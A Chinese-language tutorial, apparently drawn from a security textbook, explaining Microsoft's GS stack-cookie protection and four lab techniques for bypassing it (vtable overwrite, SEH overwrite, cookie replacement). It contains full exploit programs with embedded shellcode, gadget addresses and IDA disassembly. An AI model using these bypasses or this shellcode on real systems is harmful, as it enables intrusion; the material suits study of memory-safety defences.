栈中的守护天使:GS


GS安全编译选项的保护原理

GS的想法和Linux下的cannary是如出一辙的,即在栈中返回地址之前加上一个随机值确保攻击者直接通过覆盖栈中的返回地址来劫持程序流程

GS是微软针对缓冲区溢出时覆盖函数返回地址这类攻击在编译程序时使用的安全编译选项,在Visual Studio 2003 (VS 7.0)及以后版本的Visual Studio 中默认启用了这个编译选项。

GS编译选项为每个函数调用增加了一些额外的数据和操作,用来检测栈溢出:

  1. 在所有函数调用发生时向其站长中压入一个额外的随机DWORD(canary),IDA中标注为Security Cookie
  2. Security Cookie位于EBP之前,系统还会在.data的内存区域存放一个Security Cookie的副本
  3. 当栈中发生溢出时,Security Cookie将被首先覆盖,之后才是EBP和返回地址
  4. 在函数返回之前,系统将执行一个额外的安全验证操作,即Security check
  5. 在Security check的过程中,系统将比较栈中原先存放的Security Cookie和.data中存放的副本的值,如果二者不吻合,说明发生了栈溢出
  6. 当检测到栈溢出发生时,,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行

Alt

加入额外的数据和操作带来的直接后果就是系统性能下降,所以编译器在编译程序的时候并不会对所有函数都应用GS,比如:

  1. 函数不包括缓冲区时
  2. 函数被定义为具有变量参数列表
  3. 函数使用无保护的关键字标记
  4. 函数在第一个语句中包含内联汇编代码
  5. 缓冲区不是8字节类型且大小不大于4字节(8字节类型是指变量类型)

从Visual Studio 2005 SP1 起引入了一个新的安全标识:#pragma strict_gs_check,通过添加#pragma strict_gs_check(on)可以对任意类型的函数添加Security Cookie:

#pragma strict_gs_check(on) // 为下边的函数强制启用GS
intvulfuction(char * str)
{
    chararry[4];
    strcpy(arry,str);
    return 1;
}
int_tmain(intargc, _TCHAR* argv[])
{
    char* str="yeah,i have GS protection";
    vulfuction(str);
    return 0;
}

通过该表示,可以对任何不符合GS保护条件的函数添加GS保护

除了在返回地址前添加Security Cookie 外,在Visual Studio 2005 及后续版本还使用了变量重排技术,在编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧的高地址。这样可以防止该字符串溢出时破坏其他的局部变量。同时还会将指针参数和字符串参数复制到内存中低地址,防止函数参数被破坏:

Alt

不启用GS 时,如果变量Buff 发生溢出变量i、返回地址、函数参数arg 等都会被覆盖,而启用GS 后,变量Buff 被重新调整到栈帧的高地址,因此当Buff溢出时不会影响变量i 的值,虽然函数参数arg 还是会被覆盖,但由于程序会在栈帧低地址处保存参数的副本,所以Buff 的溢出也不会影响到传递进来的函数参数

Security Cookie产生的相关细节:

  1. 系统以.data节的第一个双字作为Cookie 的种子,或称原始Cookie(所有函数的Cookie都用这个DWORD生成)
  2. 在程序每次运行时Cookie 的种子都不同,因此种子有很强的随机性
  3. 在栈桢初始化以后系统用ESP 异或种子,作为当前函数的Cookie,以此作为不同函数之间的区别,并增加Cookie 的随机性
  4. 在函数返回前,用ESP 还原出(异或)Cookie 的种子

利用未被保护的内存突破GS

对于代码:

int vulfuction(char * str)
{
    char arry[4];
    strcpy(arry,str);
    return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
    char* str="yeah,i have GS protection";
    vulfuction(str);
    return 0;
}
// _tmain这个符号多见于VC++创建的控制台工程中,这个是为了保证移植unicode而加入的(一般_t、_T、T()这些东西都和unicode有关系),对于使用非unicode字符集的工程来说,实际上和main没有差别

函数vulfuction中不含4字节以上的缓冲区,所有vs不会对齐加入GS保护。而且通过代码可以看出这个程序是存在明显的栈溢出的,编译之后尝试直接运行,程序弹出异常对话框,使用vs的调试器调试,就会报告内存访问冲突:

Alt

而报告的异常地址刚好是字符串’tion’经ASCII码转换之后的值,也就是说返回地址被成功覆盖,可以直接劫持程序执行流程。

覆盖虚函数突破GS

对于GS,只要在程序返回时才会去检测Security Cookie,在这之前不存在任何检测措施,所以可以在检测前就劫持程序流程,这样就可以完成对程序的溢出了。

书中的测试代码:

#include "string.h"

class GSVirtual {
public :
    void gsv(char * src)
    {
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    {
    }
};
int main()
{

    GSVirtual test;
    test.gsv(
        "\x04\x2b\x99\x7C"  // address of "pop pop ret"
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
    return 0;
}

大致思路:

  1. 类GS_virtual中的gsv函数存在典型的溢出漏洞
  2. 类GS_virtual中包含一个虚函数vir
  3. 当gsv函数中的buf变量发生溢出的时候可能会影响到虚表指针,通过控制这个虚表指针,在调用虚函数时(触发Security check前改变程序流程)

这段代码是通过覆盖栈中虚表指针的低字节部分值来是虚表指针指向shellcode,然后再shellcode头部伪造的虚表,最终达到劫持程序流程的目的。

调试过程中发现gsv函数栈帧栈顶附近刚好存放着函数gsv的局部变量buf的地址,所以将虚表中的函数指针指向一个pop pop ret的指令地址,然后调用虚函数就相当于执行pop pop ret,通过pop指令将esp指向buf地址,然后再由ret指令来使程序指向shellcode

这里会ret到shellcode的头部存储的pop pop ret的地址,这个值会被执行但是转换成机器码之后的指令对shellcode本身的功能并没有影响

分析程序可以发现,在调用类的成员函数前,mian函数先调用了一个类似初始化的函数(sub_4010d0)即构造函数,然后才是参数压栈(push offset unk_402100)调用函数gsv:

.text:004010B0 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:004010B0 _main           proc near               ; CODE XREF: ___tmainCRTStartup+10Ap
.text:004010B0
.text:004010B0 var_4           = byte ptr -4
.text:004010B0 argc            = dword ptr  8
.text:004010B0 argv            = dword ptr  0Ch
.text:004010B0 envp            = dword ptr  10h
.text:004010B0
.text:004010B0                 push    ebp
.text:004010B1                 mov     ebp, esp
.text:004010B3                 push    ecx
.text:004010B4                 lea     ecx, [ebp+var_4]
.text:004010B7                 call    sub_4010D0   ; 类似于初始化操作
.text:004010BC                 push    offset unk_402100    ; gsv函数传参即shellcode的地址
.text:004010C1                 lea     ecx, [ebp+var_4]
.text:004010C4                 call    sub_401000   ; 调用gsv函数
.text:004010C9                 xor     eax, eax
.text:004010CB                 mov     esp, ebp
.text:004010CD                 pop     ebp
.text:004010CE                 retn
.text:004010CE _main           endp

先看看函数sub_4010d0做了什么:

.text:004010D0 sub_4010D0      proc near               ; CODE XREF: _main+7p
.text:004010D0
.text:004010D0 var_4           = dword ptr -4
.text:004010D0
.text:004010D0                 push    ebp
.text:004010D1                 mov     ebp, esp
.text:004010D3                 push    ecx
.text:004010D4                 mov     [ebp+var_4], ecx
.text:004010D7                 mov     eax, [ebp+var_4] ; 取函数调用前的栈顶的地址
.text:004010DA                 mov     dword ptr [eax], offset ??_7GSVirtual@@6B@ ; const GSVirtual::`vftable', 将指向虚表的指针放入函数调用前栈顶的位置
.text:004010E0                 mov     eax, [ebp+var_4] ; 返回值到eax
.text:004010E3                 mov     esp, ebp
.text:004010E5                 pop     ebp
.text:004010E6                 retn
.text:004010E6 sub_4010D0      endp

分析可以看到,实际上这个函数的作用就是取虚表的指针放入栈顶,并将这个指针作为函数的返回值返回到调用函数(main),然后回到主函数,此时栈顶的位置存放着虚表的指针,随后gsv的参数(shellcode)压栈,然后调用gsv函数。

所以此时只要在gsv函数中溢出到gsv函数参数的位置,然后随后溢出的数据就会覆写栈上存储的虚函数指针。之所以覆盖这个虚函数指针可以达到改变程序执行流程的目的,是因为在gsv中会使用这个位置的值:

.text:00401000 sub_401000      proc near               ; CODE XREF: _main+14p
.text:00401000
.text:00401000 var_E1          = byte ptr -0E1h
.text:00401000 var_E0          = dword ptr -0E0h
.text:00401000 var_DC          = dword ptr -0DCh
.text:00401000 var_D8          = dword ptr -0D8h
.text:00401000 var_D4          = dword ptr -0D4h
.text:00401000 var_D0          = byte ptr -0D0h
.text:00401000 var_4           = dword ptr -4
.text:00401000 arg_0           = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 0E4h
.text:00401009                 mov     eax, ___security_cookie
.text:0040100E                 xor     eax, ebp
.text:00401010                 mov     [ebp-var_4], eax
.text:00401013                 mov     [ebp+var_D4], ecx
.text:00401019                 mov     eax, [ebp+arg_0]
.text:0040101C                 mov     [ebp+var_D8], eax
.text:00401022                 lea     ecx, [ebp+var_D0]    ; 取局部变量buf地址
.text:00401028                 mov     [ebp+var_DC], ecx
.text:0040102E                 mov     edx, [ebp+var_DC]
.text:00401034                 mov     [ebp+var_E0], edx
.text:0040103A
.text:0040103A loc_40103A:                             ; CODE XREF: sub_401000+7Bj
.text:0040103A                 mov     eax, [ebp+var_D8]
.text:00401040                 mov     cl, [eax]
.text:00401042                 mov     [ebp+var_E1], cl
.text:00401048                 mov     edx, [ebp+var_DC]
.text:0040104E                 mov     al, [ebp+var_E1]
.text:00401054                 mov     [edx], al
.text:00401056                 mov     ecx, [ebp+var_D8]
.text:0040105C                 add     ecx, 1
.text:0040105F                 mov     [ebp+var_D8], ecx
.text:00401065                 mov     edx, [ebp+var_DC]
.text:0040106B                 add     edx, 1
.text:0040106E                 mov     [ebp+var_DC], edx
.text:00401074                 cmp     [ebp+var_E1], 0
.text:0040107B                 jnz     short loc_40103A ; 整个循环实际上是字符串的复制操作
.text:0040107D                 mov     eax, [ebp+var_D4]    ; 取虚表指针指向的虚表地址
.text:00401083                 mov     edx, [eax]   ; 取虚表中第一个虚函数的指针
.text:00401085                 mov     ecx, [ebp+var_D4]
.text:0040108B                 mov     eax, [edx]   ; 得到虚函数的地址
.text:0040108D                 call    eax  ; 调用虚函数
.text:0040108F                 mov     ecx, [ebp+var_4]
.text:00401092                 xor     ecx, ebp
.text:00401094                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401099                 mov     esp, ebp
.text:0040109B                 pop     ebp
.text:0040109C                 retn    4
.text:0040109C sub_401000      endp

至此,现在思路及原因都有了,接下来需要做的就是确定buf在栈上到这个虚函数指针的偏移,调试可以发现buf的地址加上偏移0xD0(208)就到达函数栈帧的栈底,根据之前的分析,虚表指针的位置位于函数参数之后(栈中高址方向),所以这里再越过0x10个字节(调用函数栈帧的帧指针、返回地址、参数、虚表指针),就可以覆写栈中虚表指针的数据了。

对于开启了ALSR的情况,所以不能直接将栈中存储的虚表指针的值覆写为shellcode的首地址但是调试过程中其实可以发现这个虚表指针的值和shellcode的首地址只是低字节不一样:

Alt

所以这里通过溢出,覆盖掉虚表指针的低字节为\x00然后在shellcode头部部署“函数指针”即可完成攻击

strcpy函数的作用是把含有’\0’结束符的字符串复制到另一个地址空间,所以这里实际上是有一个隐含的操作的,也即是null-by-one。所以这里shellcode+’\x90’的长度应该为0xDC(220)

不过又有新的问题,即如何让函数指针指向shellcode然后执行shellcode,因为shelloce的地址是不确定的,所以这里在shellcode头部加上其地址显然不可行。不过进入gsv函数候可以发现局部变量buf的地址刚好离栈顶不远,而且栈顶附近存储了buf在栈上的地址,所以我们可以在shellcode头部部署pop ret指令的地址(虚函数指针),使esp移动到栈顶附近存储buf的地址的位置,然后通过ret来实现程序流程的劫持,即执行复制到栈上的shellcode:

Alt

这里还需要注意一点,因为虚函数的调用是通过call eax来实现的:

.text:00401083                 mov     edx, [eax]   ; 取虚表中第一个虚函数的指针
.text:00401085                 mov     ecx, [ebp+var_D4]
.text:0040108B                 mov     eax, [edx]   ; 得到虚函数的地址
.text:0040108D                 call    eax  ; 调用虚函数

知道的是,执行call func指令相当于push eip; jmp func,所以这里会将栈抬高4bytes,因此我们需要寻找一个pop pop ret的指令片段放在shellcode头部,这样才能达到执行shellcode的目的。

所以整个shellcode的布局如下:

Alt

将shellcode的作为参数传入gsv,调用虚函数之后就可以成功执行shellcode了:

Alt

利用异常处理突破GS

目前为止,针对异常的攻击方法似乎都是没有考虑SafeSEH的,也就是说可以直接修改栈中的异常处理函数的指针,然后触发异常劫持程序执行流程

GS机制并不会对异常处理进行保护,所以我们可以尝试攻击程序的异常处理来达到绕过GS的目的。其实思路很清晰,即通过溢出覆写异常处理函数的指针,然后触发异常完成程序流程的劫持。

书中的示例代码:

#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;

void test(char * input)
{
    char buf[200];
    strcpy(buf,input);
    strcat(buf,input);
}

void main()
{
    test(shellcode);
}

整段代码的功能函数思路很清晰:

  1. strcpy产生栈溢出,并通过shellcode部署的数据覆盖函数栈帧对应的异常处理函数指针
  2. 通过strcat函数触发异常,完成程序执行流程的劫持,因为此时input在栈上的地址(作为参数传递,会在函数调用前将其压栈)已经被覆盖,所以此时会触发一个非法地址读的异常,然后就会开始执行异常处理

书中的示意图如下:

Alt

所以我们只需要一段shellcode,然后找到buf到离栈顶最近的S.E.H的偏移,接着准确覆盖函数指针,触发异常,完成程序流程劫持:

Alt

整个shellcode布局如下:

Alt

这个过程其实就是简单的指针变量的修改,然后再check cookie之前改变程序流程,目的明确

同时替换栈中和.data中的Cookie突破GS

前面的方法实际上可以认为和GS关系并不大,因为都是在程序校验Cookie前或根本就不会校验Cookie的时候改变程序流程,即都避开了Security Cookie的校验完成绕过。而替换.data和栈中的Cookie就相当于欺骗Security Cookie来完成绕过的目的。

正常情况下,想要绕过Security Cookie只需要让栈中的Cookie和.data里面保存的副本一致即可,所以就有两种思路:

  1. 猜测Cookie的值,在溢出时不改变栈中Cookie的值
  2. 同时替换栈和.data中的Cookie

显然,第一种思路似乎是不可行的,除非在溢出之前能够通过某些手段泄露Cookie值。第二种可行性就比较大了,思考下面的代码:

#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
    char dest[200];
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0xFFFF2FB8,shellcode);
}

先编译程序,丢进ida里面可以发现Cookie的校验过程很简单:

  1. ___security_cookie处的值放到eax,然后和ebp的值进行异或,最后放入函数栈帧种离栈底较近的位置:

     .text:00401009                 mov     eax, ___security_cookie
     .text:0040100E                 xor     eax, ebp
     .text:00401010                 mov     [ebp+var_4], eax
    
  2. 函数结束前,将先前存入函数栈帧栈底附近的Cookie取出再与ebp异或,然后在@__security_check_cookie@4函数中对结果进行比较:

     .text:004010CA                 mov     ecx, [ebp+var_4]
     .text:004010CD                 xor     ecx, ebp
     .text:004010CF                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
    
     ; @__security_check_cookie@4
     .text:00401111 @__security_check_cookie@4 proc near    ; CODE XREF: sub_401000+CFp
     .text:00401111                                         ; DATA XREF: __except_handler4+11o
     .text:00401111                 cmp     ecx, ___security_cookie
     .text:00401117                 jnz     short $failure$26820
     .text:00401119                 rep retn
    

整个过程很简洁,而且通过ida我们也可以知道___security_cookie的位置:

.data:00403000 _data           segment para public 'DATA' use32
.data:00403000                 assume cs:_data
.data:00403000                 ;org 403000h
.data:00403000 ___security_cookie dd 0BB40E64Eh        ; DATA XREF: sub_401000+9r
.data:00403000

理清整个验证流程之后,再回过头来看看示例代码做了什么:

  1. mian函数,申请一个超大块的堆(这里申请一个很大的块个人认为是为了防止堆溢出而触发异常提前改变程序执行流程),然后调用test函数。
  2. test函数做了两件事,在i<0x9995的前提下做了两件事:
    • 以i为偏移量,分别将src的前四个字节的数据复制到str+i对应的位置
    • 将src的内容复制到局部变量dest中,这里存在栈溢出

先关注判断i<0x9995,这里只对i的上限做了限制,也就是说防止了堆上的溢出,但是并没有对i的下限做限制,也即是说,如果这里传入一个负数,那么str+i就能够指向相对str对应地址低的位置。因为str对应的实参是一个堆地址,所以这里通过test函数几乎可以完成对程序任意节的写。

调试可以知道,申请堆块起始地址是0x00410048:

Alt

0x00410048-x000403000 = 0xD048(53320),所以,我们只需要让传入参数i的值为-53320就可以通过test函数中的几次赋值操作完成对.data中的Cookie副本进行修改。不过需要注意的是这里使用-53320对应的补码0x0xFFFF2FB8

到现在,任务完成一半了,剩下的只需要将栈中存储的Cookie也覆盖为同样的值(这里需要是和ebp异或之后的值: 0x90909090 ^ 0x0012ff64 = 0x90826ff4)就可以了。此外还需要覆盖的是函数的返回地址,使其指向shellcode,完成程序流程的劫持。所以shellcode的布局如下:

Alt

一切准备就绪之后,运行程序就得到熟悉的弹框了:

Alt